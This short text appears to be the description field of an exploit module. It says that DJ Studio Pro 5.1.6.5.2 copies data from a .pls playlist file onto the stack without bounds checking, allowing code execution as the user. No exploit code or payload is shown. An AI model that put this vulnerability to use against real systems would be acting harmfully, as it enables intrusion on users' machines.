          This module exploits a stack-based buffer overflow in DJ Studio Pro 5.1.6.5.2.
        When handling a .pls file, DJ Studio will copy the user-supplied data on the stack
        without any proper bounds checking done beforehand, therefore allowing code
        execution under the context of the user.
